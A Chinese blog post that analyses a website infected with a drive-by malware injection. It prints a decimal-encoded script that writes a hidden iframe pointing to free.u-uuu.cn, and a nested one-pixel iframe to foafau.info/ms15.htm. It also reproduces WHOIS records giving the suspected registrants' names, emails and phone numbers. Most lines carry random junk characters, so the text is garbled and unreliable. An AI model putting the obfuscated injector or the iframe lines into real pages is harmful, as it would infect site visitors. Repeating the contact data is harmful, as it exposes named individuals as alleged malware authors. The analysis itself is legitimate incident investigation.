首发在我的博客里面，
.DX#:?@4@Y >Y,7>ahyt http://www.areway.cn/?p=175 O@$hG8: ^Uf`w7"iY O7K))w 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
vd ;wQ _AO0:& <script>t=’60,105,102,114,97,109,101,
lu{}j4 32,115,114,99,61,104,116,116,112,58,47,47,
:#L B}=HQ 102,114,101,101,46,117,45,117,117,117,46,99,
/#
eBDo 110,47,101,114,114,111,114,46,104,116,109,
Ltj}>. + 32,119,105,100,116,104,61,49,48,48,32,104,
>2 |#b 101,105,103,104,116,61,48,62,60,47,105,102,
K
l4", 114,97,109,101,62′;
"s* {0' jo t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
!kIw835U QxkfP % _g <script>t=’60,105,102,114,97,109,101,32,115,
:C&?(HJ&r 114,99,61,104,116,116,112,58,47,47,102,114,
af_zZf!0 101,101,46,117,45,117,117,117,46,99,110,47,
_m&VdIPO 101,114,114,111,114,46,104,116,109,32,119,
zZRqb/20 105,100,116,104,61,49,48,48,32,104,101,105,
j[HKC0C 6 103,104,116,61,48,62,60,47,105,102,114,97,
6RF01z|~_ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
ENmo^O#,u document.write(t);</script>
e}?t[aK4# ~\/ J& <html xmlns=”
y#MLxm http://www.w3.org/1999/xhtml a=J?[qrx “>
0N}5 sF <head>
s ,}<5N]U <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
sDF J <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
YU"Am ! <title>首页 - 爱生活家庭网
2 26s:\d &l.^UQ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
@<2pYIi 8 转换字符串后的大概内容是（谁点击后果自付）：
*p-Fn$7\n <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
}Q%>Fv L=p.@VSZ 查询玉米u-uuu.cn的详细信息：
+-Dd*yD6< Domain Name: u-uuu.cn
s=$ 7lYX ROID: 20070901s10001s64972306-cn
nqH^%/7)A@ Domain Status: ok
dOhV`8l Registrant Organization: 王雷
M{S7ia"s Registrant Name: 王雷
0{ ,zE Administrative Email:
czlovexs@126.com s%:fB( Sponsoring Registrar: 北京万网志成科技有限公司
i~,k2*o Name Server:ns.yovole.com
Zu$f[U)X Name Server:ns1.yovole.com
)FP|}DCxQ Registration Date: 2007-09-01 17:54
0L1P'*LR U Expiration Date: 2008-09-01 17:54
.$yw;go3 最后PING了一下地址 都没有什么….
Q\oUZnD$= }}2 kA 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
pFK
|4u <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
GBQb({ <script language=”javascript” src=”
`%=Jsi0.Nq http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script bXW)n<y >
J.&q[ 这个玉米应该有可能是木马作者的：
sH]AB =_ foafau.info的详细信息：
*HC8kD a%$ Access to INFO WHOIS information is provided to assist persons in
e%P;Jj476 determining the contents of a domain name registration record in the
{,
|"Rpd Afilias registry database. The data in this record is provided by
`~}7k)F( Afilias Limited for informational purposes only, and Afilias does not
bDkE*4SRX guarantee its accuracy. This service is intended only for query-based
8 N` $7^^ access. You agree that you will use this data only for lawful purposes
*"5a5.`%, and that, under no circumstances will you use this data to: (a) allow,
5B2,=?+o enable, or otherwise support the transmission by e-mail, telephone, or
Yyo|W;a] facsimile of mass unsolicited, commercial advertising or solicitations
z>{KeX: to entities other than the data recipient’s own existing customers; or
TAi\#cnl(6 (b) enable high volume, automated, electronic processes that send
=oTYwU queries or data to the systems of Registry Operator, a Registrar, or
v Y\O=TZT Afilias except as reasonably necessary to register domain names or
] UI+6}r modify existing registrations. All rights reserved. Afilias reserves
t[maUy _A the right to modify these terms at any time. By submitting this query,
>R: +ml you agree to abide by this policy.
b[k 1)R" Domain ID:D22418703-LRMS
GlZ9k-ZRF Domain Name:FOAFAU.INFO
[E^X=+Jnz Created On:20-Nov-2007 16:05:42 UTC
g-^m \>B Last Updated On:20-Nov-2007 16:05:44 UTC
oD7H6\ _ Expiration Date:20-Nov-2008 16:05:42 UTC
oL@ ou{iQ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
-7$'* V9$ Status:CLIENT DELETE PROHIBITED
{q)B@#p Status:CLIENT RENEW PROHIBITED
JXAyF6
$ Status:CLIENT TRANSFER PROHIBITED
zJ:r0Bt Status:CLIENT UPDATE PROHIBITED
&>jkfG Status:TRANSFER PROHIBITED
z|<oxF. Registrant ID:GODA-040110615
]Yu+M3Fq Registrant Name:liu hong
_HK& KY Registrant Organization:
8?YW i Registrant Street1:beijing
l! y
_P Registrant Street2:
D5>~'N3b Registrant Street3:
]*@$%iCPE Registrant City:beijing
!VH Il&Mos Registrant State/Province:
Ib\G{$r Registrant Postal Code:100000
WK}+f4tdW[ Registrant Country:CN
=QfKDA Registrant Phone:+86.860108888777
GN9_ZlC Registrant Phone Ext.:
9/M!S[N9 Registrant FAX:
"k|` xn Registrant FAX Ext.:
qtN29[x Registrant Email:bbbshiji@163.com
Ltw7b Admin ID:GODA-240110615
<`3( i\-X Admin Name:liu hong
G7;}309s Admin Organization:
EM*Or Ue Admin Street1:beijing
h yKg=Foq Admin Street2:
Zsogx}i - Admin Street3:
Q75^7Ga_ Admin City:beijing
? <?C*W_ Admin State/Province:
K Uut C
: Admin Postal Code:100000
e W)I}z +{ Admin Country:CN
W~ F/ZrT3A Admin Phone:+86.860108888777
c.Y8CD.tqL Admin Phone Ext.:
;8T=uCi Admin FAX:
P`
F'Nf2U Admin FAX Ext.:
;QQ7 vo Admin Email:bbbshiji@163.com
5#)<rK Billing ID:GODA-340110615
7 !.8#A': Billing Name:liu hong
d-sh6q5 Billing Organization:
$0SZlq>En Billing Street1:beijing
ebe@.ZVSi Billing Street2:
- l@W)?$ Billing Street3:
mJ>99:W+ Billing City:beijing
/&:9VMMj Billing State/Province:
.K1E1Z_ Billing Postal Code:100000
BDRVT Y (s Billing Country:CN
k#5e:VOb Billing Phone:+86.860108888777
{l&2 Kd* Billing Phone Ext.:
%QgAilj, Billing FAX:
9sj W Billing FAX Ext.:
8@KFln )[ Billing Email:bbbshiji@163.com
KdJx#Lc Tech ID:GODA-140110615
Qf>Pb$c$U Tech Name:liu hong
50aWFJYw Tech Organization:
&jZ|@K ? Tech Street1:beijing
h&M
RQn o Tech Street2:
w00\1'-Kz Tech Street3:
SzlfA%4+GR Tech City:beijing
64' ]F1p0 Tech State/Province:
!TL}~D :J Tech Postal Code:100000
o;>3z*9?3 Tech Country:CN
0,$-)SkT Tech Phone:+86.860108888777
;T{/; Tech Phone Ext.:
/)?P>!#;\ Tech FAX:
K_|~3g Tech FAX Ext.:
fKz"z{\,0 Tech Email:bbbshiji@163.com
{kl{mJ* Name Server:NS27.DOMAINCONTROL.COM
w1#jVcUQ Name Server:NS28.DOMAINCONTROL.COM
6q[!X0u Name Server:
, . "(Gp Name Server:
h_chZB' Name Server:
E
D^rWE_ Name Server:
-f2`qltjb Name Server:
?U/Wio$@ Name Server:
`6N-MsP Name Server:
XQJ ^)d00h Name Server:
u%1k Name Server:
XH:gQ 9FD Name Server:
if[o?6U4t Name Server:
4_7 62G u% @Du}
接着下载每个文件里面的代码：
1|WpK aMoq 一步一步看..
t-m9n*\j1 
sMS9!{A 
W j j2J 8B 
sp
Q4m 
9g
&Ch9-/ 
BZ;}ROmqk 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
